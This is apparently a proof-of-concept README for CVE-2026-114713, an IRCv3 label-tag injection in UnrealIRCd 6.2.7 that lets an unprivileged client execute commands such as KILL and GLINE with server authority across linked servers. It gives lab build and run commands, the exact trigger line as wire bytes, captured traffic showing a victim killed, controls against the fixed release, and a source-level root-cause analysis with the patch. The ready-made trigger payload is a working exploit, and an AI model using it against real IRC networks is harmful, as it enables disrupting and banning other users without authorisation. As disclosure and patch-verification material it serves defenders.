
POC for CVE-2026-114713 - IRCv3 label-tag injection in UnrealIRCd escalating an unprivileged client message to server-to-server command authority on linked-server networks. Vulnerable 6.2.7 vs fixed 6.2.7.1 controls included.
The labeled-response module echoes the client-supplied IRCv3 "label" message-tag
into replies without escaping. A label value containing a newline arrives as the
standard IRCv3 tag escape \n, which the server unescapes into a real LF and
then writes back raw. When the labeled request is routed to another server
(a two-parameter WHOIS <server> <nick> does exactly that), the reply crosses
the server-to-server link carrying that raw LF. The receiving server parses one
line into two, and the second line - attacker-chosen text glued to the reply -
executes as a command sent by its trusted peer. On IRC a message from a linked
server skips the privilege checks applied to clients, so an ordinary user can
run KILL, GLINE and other server/IRCOp-only commands network-wide with one
client message. Fixed in 6.2.7.1 and hot-patch bundle-20261107; KEV-listed
2026-11-13 and exploited in the wild.
bundle-20261107 on 6.0.0 - 6.2.7 (no restart)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)Bring up the lab (two linked vulnerable servers on 127.0.0.1:6667/6668, the same topology on 6.2.7.1, plus a single-server control):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
Fire the trigger (attacker and victim on the leaf, WHOIS target on the hub):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port is the leaf the attacker and victim connect to; --hub-host/--hub-port
is the remote server holding the WHOIS target; --whois-server is the name used in
the routed WHOIS. Controls: the same input against the fixed network
(--port 6678 --hub-port 6677) and against a single server
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
Only point this at IRC servers you own.
Trigger run against the linked vulnerable network (raw capture:
evidence/01-vulnerable-linked-network-trigger.txt). First the pre-check - the
same KILL sent directly is rejected, proving the attacker has no operator rights:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
Then one labeled line (tag escapes shown as sent on the wire):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
The victim's socket - killed by a command attributed to the remote SERVER:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
The server log on the victim's host names the killer as a server
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
Control A - same input on the fixed 6.2.7.1 linked network
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): the label value
contains a newline, so the fix rejects the whole tag; the WHOIS numerics come
back as plain unlabeled lines and the victim stays online:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
Control B - same input on a single vulnerable server, no links
(evidence/03-control-single-server-precondition.txt): the unescaped label is
only ever written back into the attacker's own socket; nothing executes:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
Three pieces line up in src/modules/labeled-response.c:
Tag values are unescaped on receipt (message_tag_unescape() in
src/modules/message-tags.c maps the IRCv3 escapes \n \r \s \: to
real LF/CR/space/semicolon). The client never sends a raw newline; the
server manufactures one from two printable bytes.
In 6.2.7 the tag validator accepts anything a cap-bearing client sends up to 64 bytes - there is no character check on the value:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
The module then formats that stored value into reply lines with raw
snprintf calls - gen_start_batch() builds "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - bypassing
message_tag_escape(), which every other outbound path uses. For a reply
routed to a remote labeled client, lr_packet() writes this buffer to the
server link, so the LF inside the label splits the stream at the trusted
peer: line one is a harmless short @label=p tag segment, line two is
whatever the attacker appended, executed as a command from the linked
server. The two-parameter WHOIS is the cleanest carrier because it forwards
to the target's server and guarantees a labeled reply back across the link.
The 6.2.7.1 fix is exactly the missing check (first diff hunk of the release):
if (strpbrk(value, " ;\\\r\n"))
return 0;
Any label containing space, semicolon, backslash, CR or LF is dropped before it is ever stored, so no unescapable byte reaches the reply formatter.